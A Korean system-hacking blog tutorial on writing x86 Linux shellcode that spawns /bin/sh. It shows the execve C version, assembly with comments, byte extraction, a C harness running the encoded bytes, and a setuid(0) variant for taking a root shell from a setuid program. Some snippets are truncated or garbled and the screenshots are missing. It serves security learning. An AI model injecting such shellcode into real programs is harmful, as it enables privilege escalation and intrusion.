Hacking/System Hacking

쉘 코드 제작 2 (Shellcode)

나노콛 2019. 9. 27. 00:20

쉘 코드 제작 순서
1. C언어로 기능 구현
2. gdb로 역 어셈블링해서 필요한 부분을 찾음
3. 시스템 콜에 필요한 부분을 어셈블리어로 구현
4. objdump로 기계어 추출
5. null 값이 있을 경우 제거 작업 (3 번에서 미리 해도 됨)
6. 기계어 코드를 하나의 문장으로 추출
7. 프로그램 내용부에 삽입


/bin/sh를 실행시키는 쉘코드를 만들어 보겠습니다.

1. C 코드로 제작

#include <stdio.h>

int main()
{
        char *bash[2];
        bash[0] = "\bin\sh";
        bash[1] = 0;
        execve(bash[0], bash, &bash[1]);
}

 

execve는 프로그램을 실행하는 system call 함수입니다.
사용법은 아래와 같습니다.
execve(const char *path, char *const argv[], char envp[]);
*path - 파일 경로 명
*argv[] - 인수로 전달할 값의 주소
envp[] - 환경 변수 주소 쓰지 않는다면 0(NULL) 값 전달

2. 컴파일 후 gdb로 분석

인터럽트를 실행하는 int 0x80까지만 보면 됩니다.
execve+36에 break 걸고 실행한 후 레지스터 값을 확인해보겠습니다.

execve(bash[0]bash&bash[1]);
eax       ebx         ecx          edx
11

위와 같이 값이 들어가니 해당 레지스터를 확인해보겠습니다.

ebx

 

 

ecx의 2번째 134803336은
bash[0]의 값입니다.

bash[0]

 

edx

 

local.asm

 

global _start

_start

jmp short message

start:
pop esi //스택에 올라간 "/bin/sh",0 값을 esi에 저장

xor eax,eax //eax를 0으로 초기화
push eax    //eax를 스택에 올림
mov edx,esp //esp에는 현재 eax올린값 0이 있음 esp 주소를 edx에 저장

push esi     //esi는 "/bin/sh",0의 시작 주소가 있음 그것을 스택에 올림
mov ecx,esp  //ecx에 esp "/bin/sh",0의 시작 주소를 저장
mov al,11    //execve의 system call number은 11임
mov ebx,esi  //ebx에 "/bin/sh",0의 값을 저장

int 0x80     //system call intrrupt 발생

message:
call start  //call하기전 아래 명령어 주소를 스택에 저장
db "/bin/sh",0


4. 기계어 추출

objdump -d local

 

null 값 제거는  3번에서 했으므로 할 필요가 없습니다.

6. 기계어 추출

for i in $(objdump -d local grep "8048"

 


쉘 코드가 추출했습니다.

이 코드를 가지고 다시 프로그램을 만들어 보겠습니다.

shellcode1.c

 

#include <stdio.h>

char code[]="\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\xb0\x0b\x89\xf3\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
        int(*exeshell)();
        exeshell = (int (*) ())code;
        (int)(*exeshell)();
}

컴파일 실행 확인


 

위의 프로그램을 가지고
setuid bit를 걸어서 관리자 권한 쉘을 따오는 것을 해보겠습니다.

일단 이 소스 그대로 setuid bit를 걸어 보겠습니다.

setuid bit를 걸고 다른 계정으로 실행해봤으나
관리자 쉘을 따오지 못했는데요
setuid bit로 권한을 얻는 euid로는 권한이 변경되지 않습니다.

그래서 소스 코드에 setuid(0)를 추가하겠습니다.

system call number은 23입니다.
인자는 0 이 들어갑니다.
setuid(0)는 /bin/sh를 실행하기 전에 먼저 실행되어야 합니다.

 

global _start

_start
xor eax,eax  //eax를 0으로 초기화
mov ebx,eax  //ebx에 0 저장
mov al,23   //eax에 system call number 23 저장
int 0x80     //system call intrrupt

jmp short message

start:
pop esi

xor eax,eax
push eax
mov edx,esp

push esi
mov ecx,esp
mov al,11
mov ebx,esi

int 0x80

message:
call start
db "/bin/sh",0

컴파일 후 실행 확인

 

 

기계어 추출

 

 

추출된 기계어로 코딩

 

컴파일 후 실행 확인

 

setuid bit 설정 후 다른 계정으로 권환이 변경되는지 확인